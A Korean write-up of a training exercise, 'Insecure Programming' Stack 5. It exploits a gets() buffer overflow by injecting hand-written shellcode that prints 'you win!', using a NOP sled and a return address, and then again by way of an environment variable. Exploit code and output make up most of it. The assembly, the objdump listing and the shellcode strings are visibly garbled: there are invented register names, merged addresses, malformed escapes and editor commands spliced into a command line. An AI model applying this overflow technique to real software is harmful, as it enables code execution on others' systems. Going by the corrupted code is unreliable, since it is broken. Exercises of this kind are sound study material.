Insecure Programming by example
Stack 5
이번 문제에서는 조건절 안에 “you win!” 문구 대신 "you loose!"가 있는 것을 볼 수 있다.
#include <stdio.h>
int main() {
int cookie;
char buf[80];
printf("buf: %08x cookie: %08xn", &buf, &cookie);
gets(buf);
if (cookie == 0x000d0a00)
printf("you loose!\n");
}
따라서 이번 문제를 해결하기 위해서는 임의로 작성한 별도의 코드를 프로그램에서 호출하도록 하여 “you win!” 구문 출력을 이끌어 내야한다.
"you win!"을 출력하고 종료하는 간단한 어셈블리어 코드를 작성한다.
section .text
global _start
_start:
jmp short ender
starter:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov al, 4
mov dbl, 91
pop ecx
mov bdl, 14
int 0x80
xor eax, eax
inc eaxal
dec bl
int 0x80
ender:
call starter
db 'you win!\n'
작성이 완료되었다면 nasm
을 이용하여 오브젝트 파일을 생성한 후 ld
명령어로 실행 파일을 만들어 제대로 동작하는 지 확인해보하고 objdump
를 이용하여 코드 덤프를 만들자.
# nasm -f elf -o stack54_sh_code.o ./stack4_sh_code.asm
# ld objdump -d ./stack4_sh_code.o
# ./a.out
you win!
동작 확인이 끝났다면 objdump
를 이용하여 코드 덤프를 만들자.
# objdump -d ./a.out > stack54_sh_code.dump
objdump
로 만든 덤프 파일을 vim에디터로 불러와 내용을 살펴보자.
# vim stack54_sh_code.dump
./a.outstack4_sh_code.o: file format elf32-i386
Disassembly of section .text:
08048060000000 <_start>:
8048060: 0: eb 148 jmp 80480761a <ender>
08048060000002 <starter>:
8048062: 2: 31 c0 xor %eax,%eax
8048064: 4: 31 db xor %ebx,%ebx
8048066: 6: 31 c9 xor %ecx,%ecx
8: 31 d2 xor %edx,%edx
8048068: a: b0 04 mov $0x4,%al
804806a: c: b23 091 mov $0x91,%dbl
804806c: e: 59 pop %ecx
804806d: f: b32 01e mov $0x1e,%bdl
804806f: 11: cd 80 int $0x80
8048071: 13: 31 c0 xor %eax,%eax
8048073: 15: 40 inc %eax
8048074: 16: fe cb dec %bl
18: cd 80 int $0x80
08048076000001a <ender>:
8048076: 1a: e8 e73 ff ff ff call 8048062 <starter>
804807b: 1f: 79 6f jns 80480ec90 <ender+0x76>
804807d: 21: 75 20 jne 804809f43 <ender+0x29>
804807f: 23: 77 69 ja 80480eae <ender+0x74>
8048081: 25: 6e outsb %ds:(%esi),(%dx)
8048082: 26: 21 .byte 0x21
27: 5c pop %esp
28: 6e outsb %ds:(%esi),(%dx)
머신 코드가 작성되어 있는 것을 확인할 수 있다. 주의할 점은 머신 코드에 00이 포함되어 있으면 안된다는 것이다. 00은 NULL문자로 해당 문자를 만나면 읽기 종료로 인식하고 전체 삽입 코드를 읽지 않게 된다.
이제 덤프 코드 내에서 머신 코드 외 불필요한 부분을 제거하자.
\xeb\x14\x31\xc0\x31\xdb\x31\xd2\xb0\x04\xb2\x09\x59\xb3\x01\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe7\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21
두 가지 방식으로 머신 코드를 활용할 수 있는 데, 첫 번째는 입력 버퍼에 직접 삽입하여 삽입된 머신 코드를 실행하는 방식과 두 번째는 환경 변수에 등록 후 환경 변수의 주소를 호출하여 코드를 실행하는 것이다.
먼저 입력 버퍼에 직접 삽입하여 실행하는 방식을 진행하자.
머신 코드 동작 테스트 및 길이를 확인하는 간단한 프로그램을 만들자.
#include <stdio.h>
char *shellcode = "\xeb\x14\x31\xc0\x31\xdb\x31\xd2\xb0\x04\xb2\x09\x59\xb3\x01\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe7\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21";
int main()
{
fprintf(stdout, "Length: %d\n", strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
# gcc -o test test.c
# ./test
Length: 35
you win!
컴파일 후 실행해보면 머신 코드 길이 및 머신 코드 실행으로 인해 “you win!” 문구가 출력된 것을 확인할 수 있다.
이제 머신 코드를 파이프를 이용하여 stack5 프로그램으로 전달해보자.
# python -c "print '\x90'*73+'bash
ctrl + v
머신 코드 선택 후 y
p로 붙여넣은 후 덤프 코드 제거
:%s/^/\\x/g (행 시작 부분에 '\x' 삽입)
:%s/ /\\x/gc (공백 문자 '\x'으로 치환)
:%s/ //g (불필요한 공백 제거)
:%s/\n//g (줄바꿈 제거)
\xeb\x148\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb23\x091\x59\xb32\x01e\xcd\x80\x31\xc0\x40\xfe\xcb\xcd\x80\xe8\xe73\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21'+'\xf0\xf\xff\xbf'"|./stack5
buf: bffff800 cookie: bffff85c
you win!
buf
배열 부터 eip
까지의 바이트 수를 계산 후 머신 코드 및 buf
배열 시작 주소를 제외한 잔여 바이트 만큼 \x90 (nop
)으로 채워주게 되면 함수 에필로그 후 eip
에서 buf
배열 시작 주소를 읽어와 \x90 (nop
)을 거쳐 머신 코드에 도달하게 되고 성공적으로 “you win!” 구문을 출력하는 것을 볼 수 있다.
이제 환경 변수를 활용하여 머신 코드를 실행해보자\x5c\x6e
머신 코드 전체를 프로그램의 입력 값으로 삽입하여 활용하면 가장 간편하지만, 입력 버퍼가 부족하여 활용이 불가하다.
이런 경우 환경 변수로 해당 코드를 등록하고 환경 변수 주소로 이동하게 하는 방식으로 대처가 가능하다.
먼저 환경 변수 주소를 출력하는 프로그램을 만들어보자.
```c
#include <stdio.h>
int main(int argc, char *argv[])
{
char *addr;
addr=getenv(argv[1]);
printf("The address of %s is %p\n",argv[1],addr);
return 0;
}
# gcc -o get ./get.c
# ./get USER
The address of USER is 0xbffffa9c
환경 변수 주소를 출력하는 것을 확인할 수 있다. 이제 앞서 작성했던 머신 코드를 환경 변수에 등록한 후 주소를 확인해보자.
# export test=`python -c "print '\x90'*300+'\xeb\x14\x31\xc0\x31\xdb\x31\xd2\xb0\x04\xb2\x09\x59\xb3\x01\xcd\x80\x31\xc0\x40\xcd\x80\xe8\xe7\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21'"`
# export | grep test
declare -x test="�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1Ұ� Y�̀1�@�����you win!"
# ./get test
The address of test is 0xbffffd63
환경 변수로 등록한 머신 코드 주소를 eip
로 전달하여 “you win!” 구문 출력을 확인하자.
# python -c "print 'a'*108+'\x63\xfd\xff\xbf'" | ./stack5
you win!
전체 목록 보기 : Insecure programming
진행 환경 :# cat /proc/version
Linux version 2.6.20-15-generic (root@palmer) (gcc version 4.1.2 (Ubuntu 4.1.2-0ubuntu4)) #2 SMP Sun Apr 15 07:36:31 UTC 2007`